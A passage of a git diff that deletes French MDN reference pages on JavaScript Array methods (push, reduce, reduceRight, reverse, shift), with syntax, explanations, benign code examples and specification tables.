Cette méthode retourne le premier (plus petit) index d'un élément égal à la valeur passée en paramètre à l'intérieur du tableau, ou -1 si aucun n'a été trouvé.
-
{{jsxref("Array.prototype.join()")}}
-
Cette méthode concatène tous les éléments d'un tableau en une chaîne de caractères.
-
{{jsxref("Array.prototype.lastIndexOf()")}}
-
Cette méthode retourne le dernier (plus grand) index d'un élément égal à la valeur passée en paramètre à l'intérieur du tableau, ou -1 si aucun n'a été trouvé.
-
{{jsxref("Array.prototype.slice()")}}
-
Cette méthode extrait une portion d'un tableau pour retourner un nouveau tableau constitué de ces éléments.
-
{{jsxref("Array.prototype.toSource()")}} {{Non-standard_inline()}}
-
Cette méthode renvoie la représentation littérale du tableau spécifié ; vous pouvez utiliser cette valeur pour créer un nouveau tableau. Elle redéfinit la méthode {{jsxref("Object.prototype.toSource()")}}.
-
{{jsxref("Array.prototype.toString()")}}
-
Cette méthode renvoie une chaîne de caractères représentant le tableau et ses éléments. Elle redéfinit la méthode {{jsxref("Object.prototype.toString()")}}.
-
{{jsxref("Array.prototype.toLocaleString()")}}
-
Cette méthode retourne une chaîne de caractères représentant le tableau et ses éléments en tenant compte de la locale. Elle redéfinit la méthode {{jsxref("Object.prototype.toLocaleString()")}}.
-
- -

Méthodes itératives

- -

Plusieurs méthodes utilisent des fonctions comme argument. Ces fonctions sont utilisées afin de traiter, d'une façon ou d'une autre, chaque élément du tableau. Lorsque ces méthodes sont invoquées, on évalue la longueur du tableau et on traite chacun des éléments dont l'indice est inférieur à la longueur (les éléments ajoutés en cours de route ne seront pas traités). Les autres modifications apportées au tableau (affecter une valeur ou supprimer un élément) peuvent avoir un impact sur les traitements des éléments suivants. Bien que ce comportement soit bien défini pour les différentes méthodes, afin de ne pas complexifier le code outre-mesure, lorsqu'on modifiera un tableau, on en créera une copie avant d'invoquer une telle méthode.

- -
-
{{jsxref("Array.prototype.entries()")}}
-
Cette méthode renvoie un nouvel objet Array Iterator qui contient les paires clef/valeur pour chaque index du tableau.
-
{{jsxref("Array.prototype.every()")}}
-
Cette méthode renvoie true si chaque élément du tableau satisfait la fonction de test passée en paramètre.
-
{{jsxref("Array.prototype.filter()")}}
-
Cette méthode crée un nouveau tableau contenant tous les éléments du tableau pour lesquels la fonction de filtrage passée en argument retourne true.
-
{{jsxref("Array.prototype.find()")}}
-
Cette méthode renvoie la valeur d'un élément trouvé dans le tableau et qui satisfait la fonction de test passée en paramètre, undefined sinon.
-
{{jsxref("Array.prototype.findIndex()")}}
-
Cette méthode renvoie l'index d'un élément trouvé dans le tableau qui satisfait la fonction de test passée en paramètre ou -1 si aucun ne la satisfait.
-
{{jsxref("Array.prototype.forEach()")}}
-
Cette méthode appelle une fonction sur chacun des éléments du tableau.
-
{{jsxref("Array.prototype.keys()")}}
-
Cette méthode retourne un nouvel Array Iterator qui contient les indices pour chaque élément dans le tableau.
-
{{jsxref("Array.prototype.map()")}}
-
Cette méthode crée un nouveau tableau contenant les images de chaque élément du tableau de départ par la fonction passée en paramètre.
-
{{jsxref("Array.prototype.reduce()")}}
-
Cette méthode applique une fonction sur un accumulateur et sur chaque valeur du tableau (de gauche à droite) de façon à obtenir une unique valeur à la fin.
-
{{jsxref("Array.prototype.reduceRight()")}}
-
Cette méthode applique une fonction sur un accumulateur et sur chaque valeur du tableau (de droite à gauche) de façon à obtenir une unique valeur à la fin.
-
{{jsxref("Array.prototype.some()")}}
-
Cette méthode renvoie true si au moins un élément du le tableau satisfait la fonction de test passée en paramètre.
-
{{jsxref("Array.prototype.values()")}}
-
Cette méthode renvoie un nouvel objet Array Iterator qui contient les valeurs de chaque indice du tableau.
-
{{jsxref("Array.prototype.@@iterator()", "Array.prototype[@@iterator]()")}} {{experimental_inline}}
-
Cette méthode renvoie un nouvel objet Array Iterator qui contient les valeurs de chaque indice du tableau.
-
- -

Méthodes génériques (non-standard)

- -

De nombreuses méthodes des objets JavaScript de type Array sont conçues pour être appliquées de façon générale à tous les objets qui « ressemblent » à des tableaux. C'est à dire qu'elles peuvent être appliquées à n'importe quel objet qui possède une propriété length, et qui contint des propriétés indexées numériquement (comme lorsque l'on écrit array[5]). Certaines méthodes, comme {{jsxref("Array.join", "join")}}, se contentent de lire la propriété length et d'accéder à ces propriétés numériques de l'objet sur lesquelles on les appelle. D'autres, comme {{jsxref("Array.reverse", "reverse")}}, ont besoin de modifier les propriétés numériques et la longueur d'un objet ; ces méthodes ne peuvent dès lors pas être appelées sur des objets tels que des {{jsxref("String", "String")}}, qui ne permettent pas la modification de leur propriété length ni de leurs propriétés numériques.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.4.3.1', 'Array.prototype')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-array.prototype', 'Array.prototype')}}{{Spec2('ES6')}}Ajout des méthodes copyWithin(), fill(), entries(), keys(), values(), find(), findIndex().
{{SpecName('ES7', '#sec-array.prototype', 'Array.prototype')}}{{Spec2('ES7')}}Ajout de la méthode includes().
{{SpecName('ESDraft', '#sec-array.prototype', 'Array.prototype')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Array.prototype")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Array", "Array")}}
    • -
  • {{jsxref("Function.prototype")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/push/index.html b/files/fr/web/javascript/reference/objets_globaux/array/push/index.html deleted file mode 100644 index 1ca8d57e8f..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/array/push/index.html +++ /dev/null @@ -1,144 +0,0 @@ ---- -title: Array.prototype.push() -slug: Web/JavaScript/Reference/Objets_globaux/Array/push -tags: - - Array - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Array/push ---- -
{{JSRef}}
- -

La méthode push() ajoute un ou plusieurs éléments à la fin d'un tableau et retourne la nouvelle taille du tableau.

- -
{{EmbedInteractiveExample("pages/js/array-push.html")}}
- - - -

Syntaxe

- -
arr.push(élément1, ..., élémentN)
- -

Paramètres

- -
-
élément1, ...,élémentN
-
Les éléments à ajouter à la fin du tableau.
-
- -

Valeur de retour

- -

La nouvelle valeur de la propriété {{jsxref("Array.length", "length")}} de l'objet sur lequel la méthode a été appelée.

- -

Description

- -

La méthode push permet d'ajouter des valeurs à un tableau.

- -

push est une méthode générique. Cette méthode peut ainsi être utilisée avec les méthodes {{jsxref("Function.call()")}} ou {{jsxref("Function.apply()")}} sur des objets similaires aux tableaux.

- -

La méthode push se base sur la propriété length pour déterminer à partir de quel index les valeurs données doivent être insérées. Si la propriété length ne peut pas être convertie en nombre, l'index utilisé est 0. Si la propriété length n'est pas définie, elle est alors créée.

- -

Bien que push soit une méthode générique, elle ne peut pas être utilisée sur les chaînes de caractères ou sur l'objet arguments car ils sont immuables.

- -

Exemples

- -

Ajouter des éléments à un tableau

- -

Le code suivant crée un tableau sports contenant à sa création deux éléments, auxquels sont ajoutés deux nouveaux éléments. La variable total contient la nouvelle taille du tableau.

- -
var sports = ["plongée", "baseball"];
-var total = sports.push("football", "tennis");
-
-console.log(sports); // ["plongée", "baseball", "football", "tennis"]
-console.log(total);  // 4
-
- -

Fusionner deux tableaux

- -

Dans l'exemple qui suit, on utilise la méthode {{jsxref("Function.apply()")}} pour ajouter les différents éléments d'un second tableau

- -
var legumes = ['navet', 'pomme de terre'];
-var autresLegumes = ['céleri', 'radis'];
-
-// On fusionne les deux tableaux
-// Équivalent à legumes.push('céleri', 'radis');
-Array.prototype.push.apply(legumes, autresLegumes);
-
-console.log(legumes); // ['navet', 'pomme de terre', 'céleri', 'radis']
- -
-

Note : Attention à ne pas utiliser cette méthode lorsque les tableaux sont très grands car une fonction n'accepte qu'un nombre limité d'arguments. Voir {{jsxref("Function.apply","apply()")}} pour plus d'informations sur ces limites.

-
- -

Utiliser un objet comme on utiliserait un tableau

- -

Comme nous l'avons vu auparavant, push est une méthode générique et nous pouvons donc utiliser Array.prototype.push sur les objets. On notera qu'il n'est pas nécessaire de stocker un ensemble d'objets. En fait, on enregistre l'ensemble dans l'objet et on utilise call sur Array.prototype.push :

- -
var obj = {
-    length: 0,
-
-    ajoutElem: function ajoutElem (elem) {
-        // obj.length est automatiquement incrémenté
-        // quand on ajoute un élément
-        [].push.call(this, elem);
-    }
-};
-
-// Ajoutons quelques objets vides pour illustrer
-// l'exemple.
-obj.ajoutElem({});
-obj.ajoutElem({});
-console.log(obj.length);
-// → 2
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.2.
{{SpecName('ES5.1', '#sec-15.4.4.7', 'Array.prototype.push')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-array.prototype.push', 'Array.prototype.push')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-array.prototype.push', 'Array.prototype.push')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Array.push")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Array.prototype.pop()")}}
    • -
  • {{jsxref("Array.prototype.shift()")}}
    • -
  • {{jsxref("Array.prototype.unshift()")}}
    • -
  • {{jsxref("Array.prototype.concat()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/reduce/index.html b/files/fr/web/javascript/reference/objets_globaux/array/reduce/index.html deleted file mode 100644 index 17b90678b9..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/array/reduce/index.html +++ /dev/null @@ -1,407 +0,0 @@ ---- -title: Array.prototype.reduce() -slug: Web/JavaScript/Reference/Objets_globaux/Array/reduce -tags: - - Array - - ECMAScript 5 - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Array/Reduce ---- -
{{JSRef}}
- -

La méthode reduce() applique une fonction qui est un « accumulateur » et qui traite chaque valeur d'une liste (de la gauche vers la droite) afin de la réduire à une seule valeur.

- -
{{EmbedInteractiveExample("pages/js/array-reduce.html")}}
- - - -

Syntaxe

- -
arr.reduce(callback)
-arr.reduce(callback, valeurInitiale)
- -

Paramètres

- -
-
callback
-
La fonction à exécuter sur chaque valeur de la liste (sauf le premier si aucune valeurInitiale n'est fournie), elle prend quatre arguments en entrée : -
-
accumulateur
-
La valeur précédemment retournée par le dernier appel du callback, ou valeurInitiale, si elle est fournie (voir ci-après) (c'est la valeur « accumulée » au fur et à mesure des appels
-
valeurCourante
-
La valeur de l'élément courant actuellement manipulé dans le tableau.
-
index{{optional_inline}}
-
L'index de l'élément courant actuellement manipulé dans le tableau.
-
array{{optional_inline}}
-
Le tableau sur lequel on a appelé la méthode reduce().
-
-
-
valeurInitiale{{optional_inline}}
-
Une valeur utilisée comme premier argument lors du premier appel de la fonction callback. Si aucune valeur initiale n'est fournie, le premier élément du tableau est utilisé (et la boucle de traitement ne le parcourera pas). Si on appelle reduce() sur un tableau vide sans fournir de valeur initiale, on aura une erreur.
-
- -

Valeur de retour

- -

La valeur obtenue grâce à la fonction de réduction.

- -

Description

- -

reduce() exécute la fonction callback une fois pour chaque élément présent dans le tableau et ignore les éléments vides du tableau. La fonction callback utilise quatre arguments :

- -
    -
  1. L'accumulateur (la valeur retournée par le précédent appel de la fonction callback), ou la valeur initiale s'il sagit du premier appel ;
    2. -
  2. la valeur de l'élément courant ;
    3. -
  3. l'index de l'élément courant ;
    4. -
  4. le tableau parcouru par la méthode.
    5. -
- -

La première fois que la fonction callback est appelée, valeurInitiale et valeurCourante peuvent correspondre à un ou deux éléments. Si valeurInitiale est fournie dans l'appel de reduce(), alors accumulateur sera égale à valeurInitiale et valeurCourante sera égale à la première valeur de la liste. Si valeurInitiale n'est pas fournie, alors accumulateur sera égale à la première valeur de la liste, et valeurCourante sera alors égale à la seconde.

- -

Autrement dit, si valeurInitiale n'est pas fournie, reduce exécutera la fonction de rappel à partir de l'indice 1 et la première valeur du tableau (d'indice 0) sera utilisée pour valeurInitiale.

- -

En considérant le code suivant :

- -
[0, 1, 2, 3, 4].reduce(function(accumulateur, valeurCourante, index, array){
-  return accumulateur + valeurCourante;
-});
-
- -

La fonction callback sera appelée quatre fois, avec les arguments et les valeurs de retour de chaque appel suivant :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
accumulateurvaleurCouranteindexarrayvaleur retournée
premier appel011[0,1,2,3,4]1
deuxième appel122[0,1,2,3,4]3
troisième appel333[0,1,2,3,4]6
quatrième appel644[0,1,2,3,4]10
- -

La valeur retournée par reduce() sera alors celle du dernier appel de la callback (ici 10).

- -

Il est aussi possible d'utiliser une {{jsxref("Fonctions/Fonctions_fléchées","fonction fléchée","",1)}} au lieu d'une fonction classique. Le code suivant, par exemple, produit le même résultat que l'exemple précédent :

- -
[0, 1, 2, 3, 4].reduce(
-  (accumulateur, valeurCourante) => accumulateur + valeurCourante;
-);
- -

Si on fournit une valeur initiale comme second argument à l'appel de reduce(), le résultat sera alors le suivant :

- -
[0, 1, 2, 3, 4].reduce(function(accumulateur, valeurCourante, index, array){
-  return accumulateur + valeurCourante;
-}, 10);
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
accumulateurvaleurCouranteindexarrayvaleur retournée
premier appel1000[0,1,2,3,4]10
deuxième appel1011[0,1,2,3,4]11
troisième appel1122[0,1,2,3,4]13
quatrième appel1333[0,1,2,3,4]16
cinquième appel1644[0,1,2,3,4]20
- -

Ici, la valeur renvoyée par reduce() serait 20.

- -

Exemples

- -

Additionner toutes les valeurs d'un tableau

- -
var total = [0, 1, 2, 3].reduce((a, b)=> a + b,0);
-// total == 6
-
- -

Additionner les valeurs d'une propriétés pour un tableau d'objets

- -

Pour additionner les valeurs d'une propriété donnée des objets d'un tableau, il sera nécessaire de fournir une valeur initiale afin que tous les éléments soient parcourus :

- -
var valeurInitiale = 0;
-var somme = [{x: 1}, {x:2}, {x:3}].reduce(function (accumulateur, valeurCourante) {
-    return accumulateur + valeurCourante.x;
-}, valeurInitiale);
-
-console.log(somme); // affiche 6 dans la console
-
- -

On peut également écrire une version plus concise avec les fonctions fléchées :

- -
var valeurInitiale = 0;
-var somme = [{x: 1}, {x:2}, {x:3}].reduce(
-    (accumulateur, valeurCourante) => accumulateur + valeurCourante.x
-    , valeurInitiale
-);
-
-console.log(somme); // affiche 6 dans la console
- -

Aplatir une liste de listes

- -
var applati = [[0, 1], [2, 3], [4, 5]].reduce(function(a, b) {
-    return a.concat(b);
-});
-// applati vaut [0, 1, 2, 3, 4, 5]
-
- -

Utiliser le paramètre valeurInitiale

- -
var amis = [
-  { "nom": "Quentin", "livres": ["City Hall", "Harry Potter"]},
-  { "nom": "Alice", "livres": ["L'Avare", "Les Fleurs du Mal"]}
-]
-
-var tousLivres = amis.reduce(function(prev, curr) {
-  return [...prev, ...curr.livres];
-}, ["Perceval"]);
-
-// tousLivres = ["Perceval", "City Hall", "Harry Potter",
-//               "L'Avare", "Les Fleurs du Mal"]
- -

Exécuter une suite de promesses stockées dans un tableau

- -
/**
- * Exécuter un enchaînement de promesses à partir d'un tableau
- *
- * @param {array} arr - un tableau de promesses
- * @return {Object} un objet Promise
- */
-function runPromiseInSequense(arr) {
-  return arr.reduce((promiseChain, currentPromise) => {
-    return promiseChain.then((chainedResult) => {
-      return currentPromise(chainedResult)
-        .then((res) => res)
-    })
-  }, Promise.resolve());
-}
-
-// promise function 1
-function p1() {
-  return new Promise((resolve, reject) => {
-    resolve(5);
-  });
-}
-
-// promise function 2
-function p2(a) {
-  return new Promise((resolve, reject) => {
-    resolve(a * 2);
-  });
-}
-
-// promise function 3
-function p3(a) {
-  return new Promise((resolve, reject) => {
-    resolve(a * 3);
-  });
-}
-
-const promiseArr = [p1, p2, p3];
-runPromiseInSequense(promiseArr)
-  .then((res) => {
-    console.log(res);   // 30
-  });
-
- -

Regrouper des objets selon une propriété

- -
var personnes = [
-  { nom: "Alice", age: 21 },
-  { nom: "Bob", age: 20 },
-  { nom: "Charlie", age: 20 }
-];
-
-function groupBy(tableauObjets, propriete){
-  return tableauObjets.reduce(function (acc, obj) {
-    var cle = obj[propriete];
-    if(!acc[cle]){
-      acc[cle] = [];
-    }
-    acc[cle].push(obj);
-    return acc;
-  }, {});
-}
-
-var personnesParAge = groupBy(personnes, "age");
-// personnesParAge aura la valeur :
-// {
-//    20: [
-//       { nom: "Bob", age: 20 },
-//       { nom: "Charlie", age: 20 }
-//    ],
-//    21: [{ nom: "Alice", age: 21 }]
-// }
-
- -

Composition de fonctions

- -
// Les briques de base que nous allons composer
-const double = x => x + x;
-const triple = x => 3 * x;
-const quadruple = x => 4 * x;
-
-// Une fonction qui permet d'appliquer une composition
-const pipe = (...functions) => input => functions.reduce(
-    (acc, fn) => fn(acc),
-    input
-);
-
-// On crée des fonctions pour multiplier par un facteur donné
-const multiply6 = pipe(double, triple);
-const multiply9 = pipe(triple, triple);
-const multiply16 = pipe(quadruple, quadruple);
-const multiply24 = pipe(double, triple, quadruple);
-
-// Utilisation
-multiply6(6); // 36
-multiply9(9); // 81
-multiply16(16); // 256
-multiply24(10); // 240
-
- -

Retirer les doublons d'un tableau

- -

Avec ECMAScript 2015 (ES6)

- -
let tableauAvecDoublons = [1, 2, 3, 1, 4, 5, 4, 6];
-let tableauSansDoublon = Array.from(new Set(tableauAvecDoublons));
-console.table(tableauSansDoublon); // [1, 2, 3, 4, 5, 6]
- -

Avec reduce()

- -
var tableauAvecDoublons = [1, 2, 3, 1, 4, 5, 4, 6];
-var tableauSansDoublon = tableauAvecDoublon.reduce(function (acc, valCourante) {
-  if(acc.indexOf(valCourante) === -1) {
-    acc.push(valCourante);
-  }
-  return acc
-}, []);
-
-console.log(tableauSansDoublon); // [1, 2, 3, 4, 5, 6]
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES5.1', '#sec-15.4.4.21', 'Array.prototype.reduce()')}}{{Spec2('ES5.1')}}Définition initiale.
- Implémenté dans JavaScript 1.8
{{SpecName('ES6', '#sec-array.prototype.reduce', 'Array.prototype.reduce()')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-array.prototype.reduce', 'Array.prototype.reduce()')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Array.reduce")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Array.prototype.reduceRight()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/reduceright/index.html b/files/fr/web/javascript/reference/objets_globaux/array/reduceright/index.html deleted file mode 100644 index f29060283b..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/array/reduceright/index.html +++ /dev/null @@ -1,282 +0,0 @@ ---- -title: Array.prototype.reduceRight() -slug: Web/JavaScript/Reference/Objets_globaux/Array/reduceRight -tags: - - Array - - ECMAScript 5 - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Array/ReduceRight ---- -
{{JSRef}}
- -

La méthode reduceRight() applique une fonction sur un accumulateur et chaque valeur d'un tableau (de la droite vers la gauche) de sorte à réduire le tableau en une seule valeur.

- -
{{EmbedInteractiveExample("pages/js/array-reduce-right.html")}}
- - - -

Voir également {{jsxref("Array.prototype.reduce()")}} pour une méthode qui réduit de gauche à droite.

- -

Syntaxe

- -
arr.reduceRight(callback[, valeurInitiale])
- -

Paramètres

- -
-
callback
-
La fonction à éxécuter sur chaque valeur de la liste. Elle utilise quatres arguments : -
-
accumulator
-
La valeur précédemment retournée par le dernier appel de la fonction callback, ou valeurInitial si elle est fournie. (Voir ci-après.)
-
valeurCourante
-
La valeur de l'élément courant dans le tableau.
-
index
-
L'index de l'élément du tableau actuellement manipulé.
-
array
-
Le tableau sur lequel reduceRight() est appelée.
-
-
-
valeurInitiale {{optional_inline}}
-
C'est l'objet à utiliser comme accumulateur/premier argument lors du premier appel de la fonction callback. Si aucune valeur n'est fournie, c'est le dernier élément du tableau qui sera utilisé. Si on appelle reduce() ou reduceRight() sur un tableau vide sans fournir de valeur initiale, on aura une exception {{jsxref("TypeError")}}.
-
- -

Valeur de retour

- -

La valeur obtenue grâce à la fonction de réduction.

- -

Description

- -

reduceRight exécute la fonction callback une fois pour chaque élément présent dans le tableau, les éléments vides sont ignorés. La fonction callback utilise quatre arguments : la valeur initiale (ou la valeur retournée par le précédent appel de la fonction callback), la valeur de l'élément courant, l'index de l'élément courant, et le tableau qui est parcouru.

- -

L'usage de reduceRight avec définition d'un callback devrait ressembler à ceci :

- -
array.reduceRight(function(accumulator, valeurCourante, index, array) {
-    // ...
-});
- -

La première fois que la fonction de callback est appelée, accumulator et valeurCourante peuvent correspondre à un ou deux éléments. Si valeurInitiale est fournie lors de l'appel à reduceRight, alors accumulator sera égale à valeurInitiale et valeurCourante sera égale à la dernière valeur de la liste. Si valeurInitiale n'est pas fournie, alors accumulator sera égale à la dernière valeur de la liste, et valeurCourante sera alors égale à l'avant-dernière valeur du tableau.

- -

Si on utilise la méthode reduceRight de la façon suivante :

- -
[0, 1, 2, 3, 4].reduceRight(function(accumulator, valeurCourante, index, array) {
-    return accumulator + valeurCourante;
-});
-
- -

La fonction callback sera appelée quatre fois, avec les arguments et les valeurs de retour de chaque appel suivant :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
callbackaccumulatorvaleurCouranteindexarrayValeur renvoyée
premier appel433[0,1,2,3,4]7
second appel722[0,1,2,3,4]9
troisième appel911[0,1,2,3,4]10
quatrième appel1000[0,1,2,3,4]10
- -

La valeur retournée par reduceRight sera alors celle du dernier appel de la fonction callback (10).

- -

Si vous fournissez une valeur initiale comme second argument à l'appel de reduceRight, le résultat sera alors le suivant :

- -
[0, 1, 2, 3, 4].reduceRight(function(accumulator, valeurCourante, index, array) {
-    return accumulator + valeurCourante;
-}, 10);
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
accumulatorvaleurCouranteindexarrayValeur renvoyée
premier appel1044[0,1,2,3,4]14
second appel1433[0,1,2,3,4]17
troisième appel1722[0,1,2,3,4]19
quatrième appel1911[0,1,2,3,4]20
cinquième appel2000[0,1,2,3,4]20
- -

La valeur renvoyée par reduceRight sera ici 20.

- -

Exemples

- -

Additionner toutes les valeurs d'une liste

- -
var total = [0, 1, 2, 3].reduceRight(function(a, b) {
-    return a + b;
-});
-// total == 6
-
- -

Aplatir une liste de listes

- -
var aplati = [[0, 1], [2, 3], [4, 5]].reduceRight(function(a, b) {
-    return a.concat(b);
-}, []);
-// aplati [4, 5, 2, 3, 0, 1]
-
- -

Différence entre reduce et reduceRight

- -
var a = ['1', '2', '3', '4','5']
-var gauche = a.reduce(function(prev, cur) {
-  return prev + cur;
-});
-
-var droite = a.reduceRight(function(prev, cur) {
-  return prev + cur;
-});
-
-console.log(gauche); // "12345"
-console.log(droite); // "54321"
- -

Composition de fonctions à l'aide de reduce

- -

La composition de fonctions consiste en l'enchaînement de n fonctions l'une après l'autre (où les appels sont généralement exécutés de droite à gauche.

- -
/**
- *
- * h(x) = f(g(x))
- *
- * https://fr.wikipedia.org/wiki/Composition_de_fonctions
- */
-
-const compose = (...args) => (value) => args.reduceRight((acc, fn) => fn(acc), value)
-
-// On incrémente un nombre passé en argument
-const inc = (n) => n + 1
-
-// On double la valeur passée en argument
-const double = (n) => n * 2
-
-// On compose double(inc(x))
-compose(double, inc)(2) // 6
-
-// On compose inc(double(x))
-compose(inc, double)(2) // 5
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES5.1', '#sec-15.4.4.22', 'Array.prototype.reduceRight')}}{{Spec2('ES5.1')}}Définition initiale. Implémentée avec JavaScript 1.8.
{{SpecName('ES6', '#sec-array.prototype.reduceright', 'Array.prototype.reduceRight')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-array.prototype.reduceright', 'Array.prototype.reduceRight')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Array.reduceRight")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Array.prototype.reduce()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/reverse/index.html b/files/fr/web/javascript/reference/objets_globaux/array/reverse/index.html deleted file mode 100644 index 515b437842..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/array/reverse/index.html +++ /dev/null @@ -1,105 +0,0 @@ ---- -title: Array.prototype.reverse() -slug: Web/JavaScript/Reference/Objets_globaux/Array/reverse -tags: - - Array - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Array/reverse ---- -
{{JSRef}}
- -

La méthode reverse() transpose les éléments d'un tableau : le premier élément devient le dernier et le dernier devient le premier et ainsi de suite.

- -
{{EmbedInteractiveExample("pages/js/array-reverse.html")}}
- - - -

Syntaxe

- -
arr.reverse()
- -

Valeur de retour

- -

Le tableau inversé.

- -

Description

- -

La méthode reverse() permet d'inverser l'ordre des éléments du tableau. La méthode modifie le tableau courant et renvoie une référence à ce tableau.

- -

Cette méthode est intentionnellement générique et peut être appelée (via {{jsxref("Function.call()")}}) ou appliquée (via {{jsxref("Function.apply()")}}) sur des objets semblables à des tableaux. Les objets qui ne contiennent pas de propriété length qui soit cohérente avec leurs propriétés indexées sur des nombres ne seront pas traités par reverse().

- -

Exemples

- -

Inverser l'ordre des éléments d'un tableau

- -

L'exemple qui suit crée un tableau monArray, qui contient trois éléments, puis inverse celui-ci.

- -
var monArray = ["un", "deux", "trois"];
-monArray.reverse();
-
-console.log(monArray) // ["trois", "deux", "un"]
-
- -

Inverser l'ordre des éléments d'un objet semblable à un tableau

- -

Dans l'exemple suivant, on crée un objet semblable à un tableau a qui contient trois éléments et une propriété length. On appelle ensuite reverse() grâce à call() sur cet objet pour inverser ses éléments :

- -
const a = {0: 1, 1: 2, 2: 3, length: 3};
-
-console.log(a); // {0: 1, 1: 2, 2: 3, length: 3}
-
-Array.prototype.reverse.call(a); // On aurait pu utiliser apply() également
-
-console.log(a); // {0: 3, 1: 2, 2 : 1, length: 3}
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.4.4.8', 'Array.prototype.reverse')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-array.prototype.reverse', 'Array.prototype.reverse')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-array.prototype.reverse', 'Array.prototype.reverse')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Array.reverse")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Array.prototype.join()")}}
    • -
  • {{jsxref("Array.prototype.sort()")}}
    • -
  • {{jsxref("TypedArray.prototype.reverse()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/shift/index.html b/files/fr/web/javascript/reference/objets_globaux/array/shift/index.html deleted file mode 100644 index 9711ca9d25..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/array/shift/index.html +++ /dev/null @@ -1,118 +0,0 @@ ---- -title: Array.prototype.shift() -slug: Web/JavaScript/Reference/Objets_globaux/Array/shift -tags: - - Array - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Array/shift ---- -
{{JSRef}}
- -

La méthode shift() permet de retirer le premier élément d'un tableau et de renvoyer cet élément. Cette méthode modifie la longueur du tableau.

- -
{{EmbedInteractiveExample("pages/js/array-shift.html")}}
- - - -

Syntaxe

- -
arr.shift()
- -

Valeur de retour

- -

L'élément retiré du tableau ou {{jsxref("undefined")}} si le tableau est vide.

- -

Description

- -

La méthode shift retire l'élément situé à l'index zéro et décrémente l'index des éléments suivant avant de retourner l'élément supprimé. Si la propriété {{jsxref("Array.length", "length")}} vaut 0, {{jsxref("undefined")}} est retourné.

- -

Cette méthode est générique et peut être {{jsxref("Function.call", "appelée","",1)}} ou {{jsxref("Function.apply", "appliquée","",1)}} sur des objets similaires à des tableaux. 

- -

Cette méthode n'est pas exploitable pour les objets dont la propriété length ne reflète pas la taille du contenu, ou pour lesquels la propriété length n'est pas définie.

- -
-

Note : La méthode {{jsxref("Array.prototype.pop()")}} possède un comportement similaire mais retire le dernier élément du tableau (et non le premier).

-
- -

Exemples

- -

Supprimer un élément d'un tableau

- -

Le code suivant affiche le tableau mesPoissons avant et après avoir enlevé le premier élément. Il affiche aussi l'élément supprimé :

- -
var mesPoissons = ["ange", "clown", "mandarin", "chirurgien"];
-
-console.log("mesPoissons avant : " + JSON.stringify(mesPoissons));
-// mesPoissons avant : ["ange","clown","mandarin","chirurgien"]
-
-var premierÉlément = mesPoissons.shift();
-
-console.log("mesPoissons après :", mesPoissons);
-// mesPoissons après : ["clown", "mandarin", "chirurgien"]
-
-console.log("Cet élément a été enlevé :", premierÉlément);
-// "Cet élément a été enlevé : ange"
-
- -

Utiliser shift() dans une boucle while

- -

